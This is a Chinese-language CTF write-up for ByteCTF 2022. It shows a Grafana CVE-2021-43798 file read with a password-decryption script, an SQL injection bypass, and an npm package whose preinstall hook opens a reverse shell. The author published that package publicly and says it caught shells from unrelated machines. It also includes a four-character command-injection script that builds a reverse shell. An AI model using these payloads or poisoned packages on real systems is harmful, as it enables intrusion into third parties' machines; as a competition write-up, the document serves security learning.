ByteCTF2022

web

easy_grafana

image-20220924180120676

Grafana8.26,之前starCTF考过这个洞,CVE-2021-43798任意文件读取,但是这里使用了openresty反向代理,基于nginx

可以使用#绕过,详情见这篇文章(https://blog.riskivy.com/grafana-%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%e4%b8%8e%e6%b1%87%e6%80%bbcve-2021-43798/

image-20220924181529144

image-20220924180842133

测试成功,然后尝试读取/flag这些无果,就读取grafana的配置文件已经数据库

/etc/grafana/grafana.ini配置
/var/lib/grafana/grafana.db数据库

image-20220924181019117

配置文件里面没有password,password在sqlite里面,导出发现是加密的,也不是默认密码

image-20220924181100823

现在又secret-key尝试直接解密,还好github上有别人写好的工具,直接一把梭哈

https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798

image-20220924181214793

这里的password要在sqlite文件里面的内容找,根据脚本的写法

import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES

saltLength = 8
aesCfb = "aes-cfb"
aesGcm = "aes-gcm"
encryptionAlgorithmDelimiter = '*'
nonceByteSize = 12


def decrypt(payload, secret):
    alg, payload, err = deriveEncryptionAlgorithm(payload)

    if err is not None:
        return None, err

    if len(payload) < saltLength:
        return None, "Unable to compute salt"

    salt = payload[:saltLength]
    key, err = encryptionKeyToBytes(secret, salt)

    if err is not None:
        return None, err

    if alg == aesCfb:
        return decryptCFB(payload, key)
    elif alg == aesGcm:
        return decryptGCM(payload, key)

    return None, None


def deriveEncryptionAlgorithm(payload):
    if len(payload) == 0:
        return "", None, "Unable to derive encryption"

    if payload[0] != encryptionAlgorithmDelimiter.encode():
        return aesCfb, payload, None

    payload = payload[:1]


def encryptionKeyToBytes(secret, salt):
    return pbkdf2_hmac("sha256", secret.encode("utf-8"), salt, 10000, 32), None


def decryptGCM(payload, key):
    nonce = payload[saltLength: saltLength + nonceByteSize]
    payload = payload[saltLength + nonceByteSize:]

    gcm = AES.new(key, AES.MODE_GCM, nonce, segment_size=128)

    return gcm.decrypt(payload).decode(), None


def decryptCFB(payload, key):
    if len(payload) < AES.block_size:
        return None, "Payload too short"

    iv = payload[saltLength: saltLength + AES.block_size]
    payload = payload[saltLength + AES.block_size:]

    cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)

    return cipher.decrypt(payload).decode(), None


if __name__ == "__main__":
    grafanaIni_secretKey = "SW2YcwTIb9zpO1hoPsMm"
    dataSourcePassword = "b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"

    encrypted = base64.b64decode(dataSourcePassword.encode())
    pwdBytes, _ = decrypt(encrypted, grafanaIni_secretKey)
    print(pwdBytes)

image-20220924181306282

ctf_cloud

image-20220925043909258

首先users这里是存在insert注入的,而且waf也没有过滤单引号,可以很简单的绕过,拿到admin权限

var randomPassword = stringRandom(100);
            db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});

            // insert new user
            var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
            db.run(sql, [username], function(err) {
                if (err) {
                    console.log(err);
                    return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
                }
                return res.json({"code" : 0, "message" : "Sign up successful"});
var passwordCheck = function (password) {
    var blacklist = ['>', '<', '=', '"', ";", '^', '|', '&', ' ', 'and', 'or', 'case', 'if', 'substr', 'like', 'glob', 'regexp', 'mid', 'trim', 'right', 'left', 'between', 'in', 'print', 'format', 'password', 'users', 'from', 'random' ];
    for (var i = 0; i < blacklist.length; i++) {
        if (password.indexOf(blacklist[i]) !== -1) {
            return false;
        }
    }
    return true;
}

image-20220925044110711

然后使用使用自己添加的那个admin用户登陆,接着代码审计

var express = require('express');
var router = express.Router();
var multer  = require('multer');
var path = require('path');
var fs = require('fs');
var cp = require('child_process');
var dependenciesCheck = require('../utils/dashboard');
var upload = multer({dest: '/tmp/'});

var appPath = path.join(__dirname, '../public/app');
var appBackupPath = path.join(__dirname, '../public/app_backup');

/* authentication middleware */
router.use(function(req, res, next) {
    if (!req.session.is_login)
      return res.json({"code" : -1 , "message" : "Please login first."});
   next();
});

/* upload api */
router.post('/upload', upload.any(),function(req, res, next) {
    if (!req.files) {
        return res.json({"code" : -1 , "message" : "Please upload a file."});
    }
    var file = req.files[0];

    // check file name
    if (file.originalname.indexOf('..') !== -1 || file.originalname.indexOf('/') !== -1) {
        return res.json({"code" : -1 , "message" : "File name is not valid."});
    }

    // do upload
    var filePath = path.join(appPath, '/public/uploads/', file.originalname);
    var fileContent = fs.readFileSync(file.path);
    fs.writeFile(filePath, fileContent, function(err) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error writing file."});
        } else {
            res.json({"code" : 0 , "message" : "Upload successful at " + filePath});
        }
    })
});

/* list upload dir */
router.get('/list', function(req, res, next) {
    var files = fs.readdirSync(path.join(appPath, '/public/uploads/'));
    res.json({"code" : 0 , "message" : files});
})

/* reset user app */
router.post('/reset', function(req, res, next) {
    // reset app folder
    cp.exec('rm -rf ' + appPath + '/*', function(err, stdout, stderr) {
       if (err) {
           console.log(err);
           return res.json({"code" : -1 , "message" : "Error resetting app."});
       } else {
           cp.exec('cp -r ' + appBackupPath + '/* ' + appPath + '/', function(err, stdout, stderr) {
               if (err) {
                   console.log(err);
                   return res.json({"code" : -1 , "message" : "Error resetting app."});
               } else {
                   return res.json({"code" : 0 , "message" : "Reset successful"});
               }
           });
       }
    });
})

/* dependencies get router */
router.get('/dependencies', function(req, res, next) {
   res.json({"code" : 0 , "message" : "Please post me your dependencies."});
});

/* set node.js dependencies */
router.post('/dependencies', function(req, res, next) {
    var dependencies = req.body.dependencies;

    // check dependencies
    if (typeof dependencies != 'object' || dependencies === {})
        return res.json({"code" : -1 , "message" : "Please input dependencies."});
    if (!dependenciesCheck(dependencies))
        return res.json({"code" : -1 , "message" : "Dependencies are not valid."});

    // write dependencies to package.json
    var filePath = path.join(appPath, '/package.json');
    var packageJson = {
        "name": "userapp",
        "version": "0.0.1",
        "dependencies": {
        }
    };
    packageJson.dependencies = dependencies;
    var fileContent = JSON.stringify(packageJson);
    fs.writeFile(filePath, fileContent, function(err) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error writing file."});
        } else {
            return res.json({"code" : 0 , "message" : "Set successful"});
        }
    });
});


/* run npm install */
router.post('/run', function(req, res, next) {
    if (!req.session.is_admin)
        return res.json({"code" : -1 , "message" : "Please login as admin."});
    cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error running npm install."});
        }
        return res.json({"code" : 0 , "message" : "Run npm install successful"});
    });
});

/* force kill npm install */
router.post('/kill', function(req, res, next) {
    if (!req.session.is_admin)
        return res.json({"code" : -1 , "message" : "Please login as admin."});
    // kill npm process
    cp.exec("ps -ef | grep npm | grep -v grep | awk '{print $2}' | xargs kll -9", function(err, stdout, stderr) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error killing npm install."});
        }
        return res.json({"code" : 0 , "message" : "Kill npm install successful"});
    });
}
);


module.exports = router;

image-20220925044211184

这里是存在npm投毒的,大概就是你构造一个恶意的npm模块到npm官网上去,然后其他用户下载了就会执行恶意代码,比如说反弹shell之内的

接下来就是构造恶意包

image-20220925044345243

{
  "name": "hibyte",
  "version": "1.0.3",
  "description": "bytectf",
  "main": "index.js",
  "scripts": {
    "preinstall": "bash -c 'bash -i >& /dev/tcp/xxx/2333 0>&1'",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [
    "ctf"
  ],
  "author": "pysnow",
  "license": "ISC",
  "dependencies": {
  }
}

原理很简单,就在scripts下添加一个preinstall脚本,里面的内容填你需要执行的命令就行,这里的preinstall脚本是自动执行的,在你安装的时候,这也是npm投毒的核心原理

接着在npm官网上注册一个账号,使用npm login登陆(注意node版本要求14.18以上)

image-20220925044613263

将自己构造好的恶意包文件上传到官网,等待淘宝源爬取你的包(因为题目使用的是淘宝源)

image-20220925044724519

接着设置package.json,并点击编译,也就是访问/dashboard/run,编译之前把nc监听打开

image-20220925044903952

image-20220925044913375

最终拿到flag,这里记录一下小插曲,就是当我把这个恶意包上传上去之后,在vps上监听,连上了几个非题目的shell,不知道是不是镜像站的机子还是其他用户的机子,所以我认为这个npm污染在真实环境中还是非常有用的,包装一下。

最后我publish到网站上面的恶意包已在做完题之后全部删除

typing_game

这道题做了一天没整出来,payload本地没问题,题目有点让我恶心(只绕不过ip检测,只能老实等30秒),或许可能是自己的解法有问题。先在这里挖个坑,等官方wp出来再学习一下

源码

var express = require('express'); 
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express(); 
var PORT = process.env.PORT| 13002; 
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs'); 
app.use(express.static('public'))

app.get("/",function(req,res,next){
    var {color,name}= req.query
    res.render("index",{color:color,name:name})
})


app.get("/status",function(req,res,next){
    var  cmd= req.query.cmd? req.query.cmd:"ps"
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
console.log(rip)
    if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
    const result = child_process.spawnSync(cmd,{shell:true});
out = result.stdout.toString();
res.send(out)
})

app.get('/report', async function(req, res){
const url = req.query.url;
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
}
ipsList.set(rip,now());
const browser = await puppeteer.launch({headless: true,executablePath: '/usr/bin/google-chrome',args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']});
const page = await browser.newPage();
try{
await page.goto(url,{
  timeout: 10000
});
await new Promise(resolve => setTimeout(resolve, 10e3));
} catch(e){}
await page.close();
await browser.close();
res.send("OK");
});

app.get("/ping",function(req,res,next){
    res.send("pong")
})


app.listen(PORT,HOST, function(err){ 
    if (err) console.log(err); 
    console.log(`Server listening on ${HOST}:${PORT}`); 
});

目前的payload

# -*- coding: utf-8 -*-
# @Time : 2022/9/25 14:00
# @Author : pysnow
import time

import requests
from time import sleep
import random
import hashlib

url = 'https://f73b3b600f35429fb4f8a08df1011182.2022.capturetheflag.fun/report?url=http://127.0.0.1:13002/status?cmd={0}'
ses = requests.session()

list = '''>dir
>f\>
>ht-
>sl
*>v
>rev
*v>g
>\>\\
>-d\\
>S}\\
>IF\\
>{\\
>\$\\
>64\\
>se\\
>ba\\
>\|\\
>E=\\
>Jj\\
>A+\\
>ID\\
>M0\\
>Mz\\
>8y\\
>MS\\
>I0\\
>Lj\\
>M4\\
>Mj\\
>gu\\
>MD\\
>4x\\
>Ny\\
>80\\
>cC\\
>Rj\\
>L3\\
>V2\\
>ZG\\
>Av\\
>Ji\\
>+\\
>A\\
>aS\\
>At\\
>aC\\
>Fz\\
>Ym\\
>\ \\
>ho\\
>ec\\
sh\x20g
sh\x20f
sh\x20g'''.split('\n')

print("[+]start attack!!!")

for i in list:
    res = ses.get(url.format(i.strip()))
    print('[*]' + url.format(i.strip()) + res.text)
    time.sleep(20)

这个四字符payload(没用curl,而且处理好了重复文件的问题)在本地试过了没问题,能弹上shell,就是不知道题目环境那里的环境执行的情况是什么样了,要是给个题目环境就好,很烦,等wp学习一波

其他web题没看,没有环境的话就不打算看了

misc

signin

image-20220924175538522

image-20220924175621105

通过url和下面这串代码可以猜出,最后一关是在 /final

const Ot = {}
  , fe = [()=>V(()=>import("./chunks/0-7e990fa9.js"), ["chunks\\0-7e990fa9.js", "components\\pages\\_layout.svelte-33834858.js", "assets\\_layout-0eb34970.css", "chunks\\index-c73ecbb1.js"], import.meta.url), ()=>V(()=>import("./chunks/1-bec23329.js"), ["chunks\\1-bec23329.js", "components\\pages\\_error.svelte-f7d51481.js", "chunks\\index-c73ecbb1.js"], import.meta.url), ()=>V(()=>import("./chunks/2-632c422e.js"), ["chunks\\2-632c422e.js", "components\\pages\\_page.svelte-3f1e7194.js", "assets\\_page-26c95c66.css", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js"], import.meta.url), ()=>V(()=>import("./chunks/3-c8dd186a.js"), ["chunks\\3-c8dd186a.js", "components\\pages\\final\\_page.svelte-ee4706b1.js", "chunks\\index-c73ecbb1.js"], import.meta.url), ()=>V(()=>import("./chunks/4-5cc0f9a7.js"), ["chunks\\4-5cc0f9a7.js", "components\\pages\\level1\\_page.svelte-b369a5db.js", "assets\\_page-d0d98abf.css", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/5-8e489c50.js"), ["chunks\\5-8e489c50.js", "components\\pages\\level2\\_page.svelte-1dff31b9.js", "assets\\_page-1e8381e3.css", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/6-10a7f7fe.js"), ["chunks\\6-10a7f7fe.js", "components\\pages\\level3\\_page.svelte-796162f4.js", "chunks\\index-c73ecbb1.js", "chunks\\Lvl3-cb5385e0.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/7-39ce53b9.js"), ["chunks\\7-39ce53b9.js", "components\\pages\\level4\\_page.svelte-e52cd5c0.js", "chunks\\index-c73ecbb1.js", "chunks\\Lvl3-cb5385e0.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/8-1584915c.js"), ["chunks\\8-1584915c.js", "components\\pages\\level5\\_page.svelte-b2eb9f90.js", "chunks\\index-c73ecbb1.js", "chunks\\Lvl3-cb5385e0.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/9-734b03c9.js"), ["chunks\\9-734b03c9.js", "components\\pages\\signin\\_page.svelte-7875d6ea.js", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url)]
  , It = []
  , At = {
    "": [2],
    final: [3],
    level1: [4],
    level2: [5],
    level3: [6],
    level4: [7],
    level5: [8],
    signin: [9]
}

image-20220924175730643

抓包发现,需要输入团队id和团队名,直接去平台抓包

image-20220924175802481

最后拿到flag

image-20220924175814565

最后修改:2022 年 09 月 25 日
如果觉得我的文章对你有用,请随意赞赏